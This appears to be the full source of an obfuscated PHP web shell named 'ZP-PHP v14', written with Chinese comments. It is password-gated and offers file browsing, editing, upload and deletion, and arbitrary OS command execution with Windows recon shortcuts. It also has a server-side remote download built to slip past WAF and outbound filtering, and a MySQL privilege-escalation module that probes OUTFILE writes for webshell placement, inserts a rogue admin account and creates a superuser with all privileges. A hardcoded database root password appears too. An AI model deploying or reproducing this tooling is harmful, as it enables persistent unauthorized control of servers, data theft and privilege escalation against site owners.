/ fn() / 标量类型声明) */ error_reporting(0); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); header('Expires: 0'); $K = '21232f297a57a5a743894a0e4a801fc3'; /* $GLOBALS['5dm']("admin") */ $TAG = 'zpanel'; $TOK = $GLOBALS['5dm']($K . '|zp-tok'); $self = $_SERVER['SCRIPT_NAME']; $root = rtrim(str_replace('\\', '/', dirname(__FILE__)), '/'); $docroot = rtrim(str_replace('\\', '/', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''), '/'); $BOOK = array(); if ($docroot !== '') $BOOK[] = array('站点根', $docroot); $BOOK[] = array('盘符根', $GLOBALS['hctam_gerp']('#^([a-zA-Z]):#', $root, $zpm) ? strtoupper($zpm[1]) . ':/' : '/'); $BOOK[] = array('服务器根', '/'); function h($s){ return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); } function u($s){ return rawurlencode($s); } function pe($s){ return u($GLOBALS['edocne_46esab']($s)); } /* 路径参数 base64 传输 */ /* ===== 权限显示: 可写=绿 / 只读=红 ===== */ function mode_of($p){ $m = @$GLOBALS['smrepelif']($p); return $m === false ? '----' : substr(sprintf('%o', $m), -4); } function owner_of($p){ return (string)@$GLOBALS['renwoelif']($p) . ':' . (string)@$GLOBALS['puorgelif']($p); } function can_w($p){ $t = @$GLOBALS['stsixe_elif']($p) ? $p : dirname($p); clearstatcache(true, $t); if ($GLOBALS['elif_si']($t)) { /* 非破坏性探测: 以读写方式打开但不写入任何内容 */ $fh = @$GLOBALS['nepof']($t, 'r+'); if ($fh !== false) { @$GLOBALS['esolcf']($fh); return true; } return (bool)@$GLOBALS['elbatirw_si']($t); } if (@$GLOBALS['elbatirw_si']($t)) return true; if (@$GLOBALS['elbatirw_si']($t . '/.')) return true; if (@$GLOBALS['elbatirw_si']($t . '/..')) return true; return false; } function name_color($p){ return can_w($p) ? '#16a34a' : '#dc2626'; } function perm_cell($p){ $w = can_w($p); $c = $w ? '#15803d' : '#dc2626'; $bg = $w ? '#dcfce7' : '#fee2e2'; $t = $w ? '可写' : '只读'; return '' . $t . ''; } function perm_dot($p){ $w = can_w($p); return '■'; } function authed(){ global $TOK, $TAG; return isset($_COOKIE[$TAG]) && $_COOKIE[$TAG] === $TOK; } function norm($p){ $p = str_replace('\\', '/', (string)$p); if ($p === '') return '/'; if ($GLOBALS['hctam_gerp']('#^[a-zA-Z]:$#', $p)) return $p . '/'; return $p; } /* 上级目录: 盘符根(E:/)的上级仍是 E:/, 避免 dirname('E:/') 得到 'E:' 后失去盘符语义 */ function parent_of($dir){ $d = rtrim(str_replace('\\', '/', (string)$dir), '/'); if ($d === '') return '/'; if ($GLOBALS['hctam_gerp']('#^[a-zA-Z]:$#', $d)) return $d . '/'; return norm(dirname($d)); } function resolve($p){ global $root; $p = str_replace('\\', '/', (string)$p); if ($p === '' || $p === '.') return $root; if ($GLOBALS['hctam_gerp']('#^[a-zA-Z]:#', $p) || $p[0] === '/') { $r = rtrim($p, '/'); if ($r === '') return '/'; if ($GLOBALS['hctam_gerp']('#^[a-zA-Z]:$#', $r)) return $r . '/'; return $r; } return $root . '/' . ltrim($p, '/'); } function rel($p){ global $root; $p = str_replace('\\', '/', (string)$p); if (strcasecmp($p, $root) === 0) return '.'; if (stripos($p, $root . '/') === 0) return ltrim(substr($p, strlen($root)), '/'); return $p; } function is_u8($s){ if ($s === '') return true; if (function_exists('mb_check_encoding')) return @mb_check_encoding($s, 'UTF-8'); return $GLOBALS['hctam_gerp']('//u', $s) === 1; } function to_u8($bin){ if (is_u8($bin)) return $bin; if (function_exists('iconv')) { $t = @iconv('GBK', 'UTF-8//IGNORE', $bin); if ($t !== false && $t !== '') return $t; } if (function_exists('mb_convert_encoding')) return @mb_convert_encoding($bin, 'UTF-8', 'GBK'); return $bin; } function from_u8($txt, $enc){ if ($enc !== 'gbk') return $txt; if (function_exists('iconv')) { $t = @iconv('UTF-8', 'GBK//IGNORE', $txt); if ($t !== false) return $t; } if (function_exists('mb_convert_encoding')) return @mb_convert_encoding($txt, 'GBK', 'UTF-8'); return $txt; } function rrmdir($d){ if (!$GLOBALS['rid_si']($d)) return; foreach ($GLOBALS['ridnacs']($d) as $f) { if ($f === '.' || $f === '..') continue; $p = $d . '/' . $f; if ($GLOBALS['rid_si']($p)) rrmdir($p); else @$GLOBALS['knilnu']($p); } @$GLOBALS['ridmr']($d); } /* 面包屑: 每一级都是可点链接(含 Windows 盘符段) —— "点到哪去到哪" */ function crumbs($path){ $p = rtrim(str_replace('\\', '/', (string)$path), '/'); if ($p === '') $p = '/'; $segs = array_values(array_filter(explode('/', $p), 'strlen')); /* Windows: E:/a/b → E:\ 为锚点链接, 其后逐级可点 */ if (isset($segs[0]) && $GLOBALS['hctam_gerp']('#^[a-zA-Z]:$#', $segs[0])) { $drv = strtoupper($segs[0]); array_shift($segs); $out = '' . h($drv) . '\\'; $cur = $drv; $n = count($segs); foreach ($segs as $i => $s) { $cur .= '/' . $s; $out .= '\\'; if ($i === $n - 1) $out .= '' . h($s) . ''; else $out .= '' . h($s) . ''; } return $out; } /* 类 Unix */ $out = '/'; $n = count($segs); $cur = ''; foreach ($segs as $i => $s) { $cur .= '/' . $s; if ($i === $n - 1) $out .= '' . h($s) . ''; else $out .= '' . h($s) . '/'; } return $out; } /* 快捷跳转条 */ function quickbar($dir){ global $BOOK, $root; $items = array(array('面板目录', rtrim($root, '/') === '' ? '/' : $root)); foreach ($BOOK as $b) $items[] = $b; $seen = array(); $out = '
'; foreach ($items as $it) { $p = rtrim($it[1], '/'); if ($p === '') $p = '/'; if ($GLOBALS['hctam_gerp']('#^[a-zA-Z]:$#', $p)) $p .= '/'; if (isset($seen[$p])) continue; $seen[$p] = 1; $cur = (rtrim(str_replace('\\', '/', $dir), '/') === $p); $out .= '[' . h($it[0]) . '] '; } return $out . '
'; } function redir($path, $a){ global $self; header('Location: ' . $self . '?a=' . $a . '&p64=' . pe($path)); exit; } function head($title){ echo '' . h($title) . ' - ZP
ZP-PHP v14 ' . h(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '') . ' SiteCmdFetchMySQLInfoExit
'; } function foot(){ echo '
'; } /* ===== 远程下载: 由服务器自身发起请求, 文件内容不经过入站请求体 (不入 WAF 检测) ===== */ function zp_dechunk($s){ $o = ''; while ($s !== '') { $p = strpos($s, "\r\n"); if ($p === false) break; $len = (int)hexdec(trim(substr($s, 0, $p))); if ($len <= 0) break; $o .= substr($s, $p + 2, $len); $s = substr($s, $p + 2 + $len + 2); } return $o; } /* 单次请求; $range 形如 "0-262143", 空=整取. 依次尝试 curl / 原生socket / url-fopen */ function zp_http($url, $range){ $r = array('ok' => false, 'body' => '', 'code' => 0, 'err' => '', 'via' => ''); if (!preg_match('#^https?://[^\s/]+#i', $url)) { $r['err'] = 'URL 需 http:// 或 https:// 开头'; return $r; } if (function_exists($GLOBALS['tini_lruc'])) { $ch = @$GLOBALS['tini_lruc'](); if ($ch) { @$GLOBALS['tpotes_lruc']($ch, CURLOPT_URL, $url); @$GLOBALS['tpotes_lruc']($ch, CURLOPT_RETURNTRANSFER, 1); @$GLOBALS['tpotes_lruc']($ch, CURLOPT_FOLLOWLOCATION, 1); @$GLOBALS['tpotes_lruc']($ch, CURLOPT_MAXREDIRS, 5); @$GLOBALS['tpotes_lruc']($ch, CURLOPT_CONNECTTIMEOUT, 10); @$GLOBALS['tpotes_lruc']($ch, CURLOPT_TIMEOUT, 90); @$GLOBALS['tpotes_lruc']($ch, CURLOPT_SSL_VERIFYPEER, 0); @$GLOBALS['tpotes_lruc']($ch, CURLOPT_SSL_VERIFYHOST, 0); @$GLOBALS['tpotes_lruc']($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36'); if ($range !== '') @$GLOBALS['tpotes_lruc']($ch, CURLOPT_RANGE, $range); $b = @$GLOBALS['cexe_lruc']($ch); $i = @$GLOBALS['ofniteg_lruc']($ch); $r['code'] = (is_array($i) && isset($i['http_code'])) ? (int)$i['http_code'] : 0; $r['err'] = (string)@$GLOBALS['rorre_lruc']($ch); @$GLOBALS['esolc_lruc']($ch); if ($b !== false) { $r['ok'] = true; $r['body'] = $b; $r['via'] = 'curl'; return $r; } } } $p = @$GLOBALS['lru_esrap']($url); if (is_array($p) && !empty($p['host'])) { $sch = isset($p['scheme']) ? strtolower($p['scheme']) : 'http'; $host = $p['host']; $port = isset($p['port']) ? (int)$p['port'] : ($sch === 'https' ? 443 : 80); $gp = (isset($p['path']) && $p['path'] !== '') ? $p['path'] : '/'; if (isset($p['query'])) $gp .= '?' . $p['query']; $addr = ($sch === 'https' ? 'ssl://' : 'tcp://') . $host . ':' . $port; $se = ''; $sm = ''; $fp = @$GLOBALS['tneilc_tekcos_maerts']($addr, $se, $sm, 10); if ($fp) { $req = 'GET ' . $gp . " HTTP/1.1\r\n" . 'Host: ' . $host . "\r\n" . "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\n" . "Accept: */*\r\n" . "Accept-Encoding: identity\r\n" . "Connection: close\r\n"; if ($range !== '') $req .= 'Range: bytes=' . $range . "\r\n"; $req .= "\r\n"; @$GLOBALS['etirwf']($fp, $req); $raw = ''; while (!@$GLOBALS['foef']($fp)) { $s = @fread($fp, 65536); if ($s === false || $s === '') break; $raw .= $s; } @$GLOBALS['esolcf']($fp); $sp = strpos($raw, "\r\n\r\n"); if ($sp !== false) { $hdr = substr($raw, 0, $sp); $bd = substr($raw, $sp + 4); if (preg_match('#^HTTP/\d\.\d\s+(\d+)#', $hdr, $m)) $r['code'] = (int)$m[1]; if (preg_match('#Transfer-Encoding:\s*chunked#i', $hdr)) $bd = zp_dechunk($bd); elseif (preg_match('#Content-Length:\s*(\d+)#i', $hdr, $m)) { $bd = substr($bd, 0, (int)$m[1]); } $r['ok'] = true; $r['body'] = $bd; $r['via'] = 'socket'; $r['err'] = ''; return $r; } $r['err'] = 'socket: 响应无头部'; } else { $r['err'] = 'socket: ' . $sm . ' (' . $se . ')'; } } if (@$GLOBALS['teg_ini']('allow_url_fopen')) { $ctx = @$GLOBALS['etaerc_txetnoc_maerts'](array('http' => array( 'timeout' => 60, 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'header' => ($range !== '' ? 'Range: bytes=' . $range . "\r\n" : '') ))); $b = @$GLOBALS['stnetnoc_teg_elif']($url, false, $ctx); if ($b !== false && $b !== '') { $r['ok'] = true; $r['body'] = $b; $r['via'] = 'fopen'; $r['code'] = 200; $r['err'] = ''; return $r; } } if ($r['err'] === '') $r['err'] = 'curl / socket / fopen 三种方式均不可用或被出站策略拦截'; return $r; } /* 整取或按 Range 分片拼接 (分片用于规避出站侧对单次响应体大小/内容的拦截) */ function zp_fetch($url, $chunked, $ps){ $o = array('body' => '', 'via' => '', 'code' => 0, 'err' => '', 'parts' => 0); if (!$chunked) { $r = zp_http($url, ''); $o['via'] = $r['via']; $o['code'] = $r['code']; if ($r['ok']) { $o['body'] = $r['body']; $o['parts'] = 1; } else { $o['err'] = $r['err']; } return $o; } for ($i = 0; $i < 4000; $i++) { $r = zp_http($url, ($i * $ps) . '-' . (($i + 1) * $ps - 1)); $o['via'] = $r['via']; $o['code'] = $r['code']; if (!$r['ok']) { $o['err'] = $r['err']; break; } $o['parts']++; if ($i === 0 && $r['code'] !== 206) { $o['body'] .= $r['body']; break; } /* 服务端不支持 Range, 退回整取 */ $o['body'] .= $r['body']; if (strlen($r['body']) < $ps) break; } return $o; } if (isset($_GET['out'])) { setcookie($TAG, '', time() - 3600); header('Location: ' . $self); exit; } if (!authed()) { if (isset($_POST['p']) && $GLOBALS['5dm']((string)$_POST['p']) === $K) { setcookie($TAG, $TOK, 0, '/', ''); header('Location: ' . $self . '?a=list'); exit; } head('Login'); echo '
password
'; if (isset($_POST['p'])) echo '

wrong password

'; echo '
'; foot(); exit; } $a = isset($_GET['a']) ? $_GET['a'] : 'list'; $path = ''; if (isset($_GET['p64'])) { $b = str_replace(' ', '+', (string)$_GET['p64']); $d = $GLOBALS['edoced_46esab']($b, true); if ($d !== false) $path = $d; elseif (isset($_GET['path'])) $path = (string)$_GET['path']; } elseif (isset($_GET['path'])) { $path = (string)$_GET['path']; } if ($a === 'list' && $path === '') $path = '.'; switch ($a) { case 'list': $dir = resolve($path); head('Files'); echo '
路径 (留空=面板目录; 可输任意绝对路径 如 E:/wwwroot)
' . quickbar($dir) . '
'; if (!$GLOBALS['rid_si']($dir)) { echo '
not a directory: ' . h($dir) . '
'; foot(); exit; } echo '
' . crumbs($dir) . '
'; echo '
当前目录权限: ' . perm_cell($dir) . ' mode ' . h(mode_of($dir)) . ' / owner ' . h((string)@$GLOBALS['renwoelif']($dir)) . ':' . h((string)@$GLOBALS['puorgelif']($dir)) . ''; echo ' 图例: ' . perm_dot($dir) . ' 绿=可写 ■ 红=只读
'; echo '[上级 ..]' . '[刷新]'; echo '
'; echo '
newdir
'; echo ''; $ds = array(); $fs = array(); foreach ($GLOBALS['ridnacs']($dir) as $f) { if ($f === '.' || $f === '..') continue; if ($GLOBALS['rid_si']($dir . '/' . $f)) $ds[] = $f; else $fs[] = $f; } sort($ds); sort($fs); foreach ($ds as $d) { $rp = $dir . '/' . $d; echo ''; } foreach ($fs as $f) { $rp = $dir . '/' . $f; echo ''; } echo '
NameSizeModified权限Ops
' . h($d) . '/-' . date('Y-m-d H:i', @$GLOBALS['emitmelif']($rp)) . '' . perm_cell($rp) . '' . 'enter' . 'del
' . h($f) . '' . @$GLOBALS['eziselif']($rp) . '' . date('Y-m-d H:i', @$GLOBALS['emitmelif']($rp)) . '' . perm_cell($rp) . '' . 'dl' . 'ren' . 'copy' . 'del
'; foot(); exit; case 'read': $fp = resolve($path); $bin = @$GLOBALS['stnetnoc_teg_elif']($fp); $u8 = is_u8($bin); $txt = $u8 ? $bin : to_u8($bin); head('Edit'); echo '
' . crumbs(dirname($fp)) . '/' . h(basename($fp)) . '
'; echo '' . h(rel($fp)) . ' (' . strlen($bin) . ' bytes, ' . ($u8 ? 'utf-8' : 'gbk') . ') ' . perm_cell($fp) . ' mode ' . h(mode_of($fp)) . ''; if (!can_w($fp)) echo '
⚠ 该文件为只读，保存 / 删除 / 改名都会失败
'; if (isset($_GET['err'])) echo '
✗ 保存失败：文件不可写，或被主机防篡改策略拒绝
'; elseif (isset($_GET['ok'])) echo '
✓ 已保存
'; echo '
'; echo ' '; echo 'download back
'; foot(); exit; case 'save': $t = isset($_POST['txt']) ? $_POST['txt'] : null; if ($t === null) redir('.', 'list'); $enc = isset($_GET['enc']) ? $_GET['enc'] : 'utf8'; $ok = @$GLOBALS['stnetnoc_tup_elif'](resolve($path), from_u8($t, $enc)); header('Location: ' . $self . '?a=read&p64=' . pe(rel(resolve($path))) . '&enc=' . $enc . ($ok === false ? '&err=1' : '&ok=1')); exit; case 'dl': $fp = resolve($path); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($fp) . '"'); header('Content-Length: ' . @$GLOBALS['eziselif']($fp)); @$GLOBALS['elifdaer']($fp); exit; case 'del': $fp = resolve($path); if ($GLOBALS['elif_si']($fp)) @$GLOBALS['knilnu']($fp); elseif ($GLOBALS['rid_si']($fp)) rrmdir($fp); redir(rel(parent_of($fp)), 'list'); case 'ren': $fp = resolve($path); $to = isset($_GET['to']) ? (string)$_GET['to'] : ''; if ($to !== '') @$GLOBALS['emaner']($fp, dirname($fp) . '/' . basename($to)); redir(rel(dirname($fp)), 'list'); case 'cp': $fp = resolve($path); $to = isset($_GET['to']) ? (string)$_GET['to'] : ''; if ($to === '') { head('Copy'); echo '
copy to
'; foot(); exit; } $dst = dirname($fp) . '/' . basename($to); if ($GLOBALS['rid_si']($fp)) { function rcopy($s, $d){ if (!$GLOBALS['rid_si']($d)) @$GLOBALS['ridkm']($d, 0777, true); foreach ($GLOBALS['ridnacs']($s) as $f) { if ($f === '.' || $f === '..') continue; $sp = $s . '/' . $f; $dp = $d . '/' . $f; if ($GLOBALS['rid_si']($sp)) rcopy($sp, $dp); else @$GLOBALS['ypoc']($sp, $dp); } } rcopy($fp, $dst); } else @$GLOBALS['ypoc']($fp, $dst); redir(rel(dirname($fp)), 'list'); case 'mkdir': $name = isset($_GET['name']) ? (string)$_GET['name'] : ''; if ($name !== '') @$GLOBALS['ridkm'](resolve($path) . '/' . $name, 0777, true); redir(rel(resolve($path)), 'list'); case 'up': $upok = false; $upn = ''; $dst = ''; if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) { $upn = basename($_FILES['f']['name']); $dst = resolve($path) . '/' . $upn; $upok = @$GLOBALS['elif_dedaolpu_evom']($_FILES['f']['tmp_name'], $dst); } head('Upload'); echo '
'; if ($upok) { /* 完整物理路径 */ $full = str_replace('\\', '/', $dst); /* 对应的网址: 仅当文件位于站点根之内 */ $url = ''; $dr = rtrim(str_replace('\\', '/', $docroot), '/'); if ($dr !== '' && stripos($full, $dr . '/') === 0) { $rp = substr($full, strlen($dr)); $sch = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $url = $sch . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . $rp; } echo '✓ uploaded: ' . h($upn) . ' (' . (int)$_FILES['f']['size'] . ' bytes)
'; echo '
完整路径
'; echo '
' . h($full) . '
'; if ($url !== '') { echo '
🔗 打开: ' . h($url) . '
'; } else { echo '
⚠ 文件在站点根目录之外，无对应 URL
'; } } else { echo '✗ upload failed — 目标目录 ' . perm_cell(resolve($path)); } echo ' back
'; foot(); exit; case 'wget': $dst = resolve($path); $rurl = ''; if (isset($_GET['u64'])) { $d = $GLOBALS['edoced_46esab'](str_replace(' ', '+', (string)$_GET['u64']), true); if ($d !== false) $rurl = trim($d); } elseif (isset($_GET['url'])) { $rurl = trim((string)$_GET['url']); } $owf = isset($_GET['ow']); $rngf = isset($_GET['rng']); $psf = isset($_GET['ps']) ? (int)$_GET['ps'] : 262144; if ($psf < 16384) $psf = 16384; if ($psf > 8388608) $psf = 8388608; $errmsg = ''; $okw = false; $slen = 0; $fvia = ''; $fcode = 0; $fparts = 0; $smd5 = ''; $done = ($rurl !== '' && $rurl !== 'http://' && $rurl !== 'https://'); if ($done) { if ($GLOBALS['rid_si']($dst) || substr($dst, -1) === '/') { $pp = @$GLOBALS['lru_esrap']($rurl); $bn = (is_array($pp) && isset($pp['path'])) ? basename($pp['path']) : ''; if ($bn === '' || $bn === '.' || $bn === '/') $bn = 'index.html'; $dst = rtrim($dst, '/') . '/' . $bn; } if (!$owf && @$GLOBALS['stsixe_elif']($dst)) { $errmsg = '目标已存在: ' . $dst . ' (勾选「覆盖」才写入)'; } else { $f = zp_fetch($rurl, $rngf, $psf); $fvia = $f['via']; $fcode = $f['code']; $fparts = $f['parts']; if ($f['err'] !== '') { $errmsg = $f['err']; } elseif ($f['body'] === '') { $errmsg = '响应为空 (HTTP ' . (int)$f['code'] . ')'; } else { $w = @$GLOBALS['stnetnoc_tup_elif']($dst, $f['body']); if ($w === false) $errmsg = '写盘失败, 目录不可写: ' . dirname($dst); else { $okw = true; $slen = strlen($f['body']); $smd5 = $GLOBALS['5dm']($f['body']); } } } } head('Fetch'); echo '
' . '' . '
远程地址 (仅 http / https)
' . '' . '
保存到 (目录=沿用原名; 也可直接写文件名; 相对=面板目录)
' . '' . '
' . '   ' . '   片大小 bytes
' . '
请求由服务器发起, 文件内容不进请求体
'; if ($done) { echo '
'; if ($okw) { $full = str_replace('\\', '/', $dst); $url2 = ''; $dr = rtrim(str_replace('\\', '/', $docroot), '/'); if ($dr !== '' && stripos($full, $dr . '/') === 0) { $sch2 = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $url2 = $sch2 . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . substr($full, strlen($dr)); } echo '✓ 已写入 backend=' . h($fvia) . ' / HTTP ' . (int)$fcode . ' / ' . (int)$fparts . ' 片 / ' . (int)$slen . ' bytes'; echo '
md5 ' . h($smd5) . '
'; echo '
完整路径
'; echo '
' . h($full) . '
'; if ($url2 !== '') echo '
🔗 ' . h($url2) . '
'; else echo '
⚠ 文件在站点根之外, 无对应 URL
'; } else { echo '✗ ' . h($errmsg) . ''; if ($fvia !== '') echo ' backend=' . h($fvia) . ' / HTTP ' . (int)$fcode . ''; } echo ' 返回目录
'; } foot(); exit; case 'info': head('Info'); echo '
PHP ' . PHP_VERSION . "\n" . $GLOBALS['emanu_php']() . "\npanel_dir=" . h($root) . "\ndocroot=" . h($docroot) . "\nopen_basedir=" . h((string)$GLOBALS['teg_ini']('open_basedir')) . "\ndisable_functions=" . h((string)$GLOBALS['teg_ini']('disable_functions')) . "\nuser=" . h($GLOBALS['resu_tnerruc_teg']()) . '
'; echo '
目录可写性扫描 (绿=可写 / 红=只读)
'; echo ''; $scan = array(); if ($docroot !== '') $scan[] = $docroot; $scan[] = $root; if ($GLOBALS['rid_si']($root)) { foreach ($GLOBALS['ridnacs']($root) as $f) { if ($f === '.' || $f === '..') continue; if ($GLOBALS['rid_si']($root . '/' . $f)) $scan[] = $root . '/' . $f; } } $seen = array(); foreach ($scan as $p) { if (isset($seen[$p]) || !$GLOBALS['rid_si']($p)) continue; $seen[$p] = 1; echo ''; } echo '
目录modeowner:group权限
' . h(rel($p)) . '/' . h(mode_of($p)) . '' . h((string)@$GLOBALS['renwoelif']($p)) . ':' . h((string)@$GLOBALS['puorgelif']($p)) . '' . perm_cell($p) . '
'; foot(); exit; case 'cmd': head('Cmd'); $c = isset($_POST['c']) ? (string)$_POST['c'] : (isset($_GET['c']) ? (string)$_GET['c'] : 'whoami'); echo '
命令
'; echo '
快捷: '; foreach (array('whoami', 'whoami /priv', 'net localgroup administrators', 'net user', 'systeminfo', 'ipconfig', 'tasklist', 'sc query', 'quser') as $q) echo '' . h($q) . ''; echo '
'; if ($c !== '') { $out = array(); $rc = 0; if (function_exists('exec')) exec($c . ' 2>&1', $out, $rc); elseif (function_exists('shell_exec')) { $s = shell_exec($c); $out = $s === null ? array() : explode("\n", $s); $rc = 0; } else { $out = array('[!] exec / shell_exec 均被禁用'); $rc = -1; } echo '
RC=' . intval($rc) . '
' . h(to_u8(implode("\n", $out))) . '
'; } foot(); exit; case 'mysql': head('MySQL 提权'); $def = array('host' => '127.0.0.1', 'port' => '3306', 'user' => 'root', 'pass' => 'ykUh1snbDk41IPqi', 'db' => 'game_download', 'tbl' => 'admins', 'ucol' => 'username', 'pcol' => 'password', 'icol' => 'id', 'uval' => 'poc_admin', 'pval' => 'poc_admin_pwd', 'nuser' => 'poc_dbsu', 'npass' => 'P@ssw0rd_PoC123'); foreach ($def as $k => $v) if (!isset($_POST[$k])) $_POST[$k] = $v; $P = function($k, $w) { return ' '; }; echo '
连接: host' . $P('host', '12%') . 'port' . $P('port', '6%') . 'user' . $P('user', '11%') . 'pass' . $P('pass', '17%') . 'db' . $P('db', '14%') . '
应用管理员: 表' . $P('tbl', '11%') . '用户列' . $P('ucol', '10%') . '密码列' . $P('pcol', '10%') . 'ID列' . $P('icol', '7%') . '用户名' . $P('uval', '12%') . '密码' . $P('pval', '14%') . '
DB超级账号: 新用户' . $P('nuser', '12%') . '新密码' . $P('npass', '16%') . '
'; if (isset($_POST['do'])) { $do = $_POST['do']; $html = ''; try { $pdo = new PDO('mysql:host=' . $_POST['host'] . ';port=' . $_POST['port'] . ';dbname=' . $_POST['db'] . ';charset=utf8', $_POST['user'], $_POST['pass'], array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)); $html .= '

[+] 连接成功: ' . h($pdo->getAttribute(PDO::ATTR_SERVER_VERSION)) . ' / ' . h($pdo->query('SELECT CURRENT_USER()')->fetchColumn()) . '

'; if ($do === 'env' || $do === 'all') { $g = $pdo->query('SHOW GRANTS FOR CURRENT_USER()')->fetchAll(PDO::FETCH_COLUMN); $html .= '

GRANTS: ' . h(implode(' | ', $g)) . '

'; $var = function($n) use ($pdo) { $r = $pdo->query("SHOW VARIABLES LIKE '$n'")->fetch(); return $r ? $r[1] : '(?)'; }; $sfp = $var('secure_file_priv'); $plugin = rtrim($var('plugin_dir'), '/\\'); $data = $var('datadir'); $html .= '

secure_file_priv=' . h($sfp) . ' | plugin_dir=' . h($plugin) . ' | datadir=' . h($data) . '

'; $fr = $pdo->query('SELECT FILE_PRIV,SUPER_PRIV,GRANT_PRIV FROM mysql.user WHERE user=' . $pdo->quote($_POST['user']) . ' LIMIT 1')->fetch(PDO::FETCH_ASSOC); $html .= '

FILE/SUPER/GRANT=' . ($fr ? $fr['FILE_PRIV'] . '/' . $fr['SUPER_PRIV'] . '/' . $fr['GRANT_PRIV'] : '?') . '

'; foreach (array($plugin . '/zp_probe.txt', $data . 'zp_probe.txt') as $pp) { try { $pdo->query("SELECT 'x' INTO OUTFILE '" . $pp . "'"); @unlink($pp); $html .= '

[+] 可写: ' . h($pp) . ' -> UDF/webshell 落地可行

'; } catch (PDOException $e) { $html .= '

[-] 写入被拒: ' . h($pp) . ' (' . h($e->getMessage()) . ')

'; } } } if ($do === 'app' || $do === 'all') { $tbl = $_POST['tbl']; $ucol = $_POST['ucol']; $pcol = $_POST['pcol']; $icol = $_POST['icol']; $uval = $_POST['uval']; $pval = $_POST['pval']; $cols = $pdo->query('DESCRIBE `' . $tbl . '`')->fetchAll(PDO::FETCH_COLUMN); $fields = array('`' . $ucol . '`', '`' . $pcol . '`'); $vals = array($uval, $pval); if ($icol !== '' && in_array($icol, $cols, true)) { $max = $pdo->query('SELECT MAX(`' . $icol . '`) FROM `' . $tbl . '`')->fetchColumn(); $nid = ($max ?: 0) + 1; $fields[] = '`' . $icol . '`'; $vals[] = $nid; } $sql = 'INSERT INTO `' . $tbl . '` (' . implode(',', $fields); if (in_array('created_at', $cols, true)) $sql .= ',created_at'; $sql .= ') VALUES (' . implode(',', array_fill(0, count($vals), '?')); if (in_array('created_at', $cols, true)) $sql .= ',NOW()'; $sql .= ')'; $st = $pdo->prepare($sql); foreach ($vals as $i => $v) $st->bindValue($i + 1, $v); $st->execute(); $html .= '

[+] 已插入 ' . h($tbl) . ' (' . h(implode(',', $fields)) . ')

'; $chk = $pdo->prepare('SELECT * FROM `' . $tbl . '` WHERE `' . $ucol . '`=?'); $chk->execute(array($uval)); $html .= '

[验证] ' . h(json_encode($chk->fetch(PDO::FETCH_ASSOC))) . '

'; } if ($do === 'dba' || $do === 'all') { $nu = $_POST['nuser']; $np = $_POST['npass']; try { $pdo->query("CREATE USER '" . $nu . "'@'localhost' IDENTIFIED BY '" . $np . "'"); $html .= '

[+] 已创建 ' . h($nu) . '@localhost

'; } catch (PDOException $e) { $html .= '

[-] 创建用户: ' . h($e->getMessage()) . '

'; } $pdo->query("GRANT ALL PRIVILEGES ON *.* TO '" . $nu . "'@'localhost' WITH GRANT OPTION"); $g = $pdo->query("SHOW GRANTS FOR '" . $nu . "'@'localhost'")->fetchAll(PDO::FETCH_COLUMN); $html .= '

[+] 已授权 ' . h($nu) . '@localhost: ' . h(implode(' | ', $g)) . '

'; } } catch (PDOException $e) { $html .= '

[!] 失败: ' . h($e->getMessage()) . '

'; } echo '
' . $html . '
'; } foot(); exit; default: redir('.', 'list'); } ?>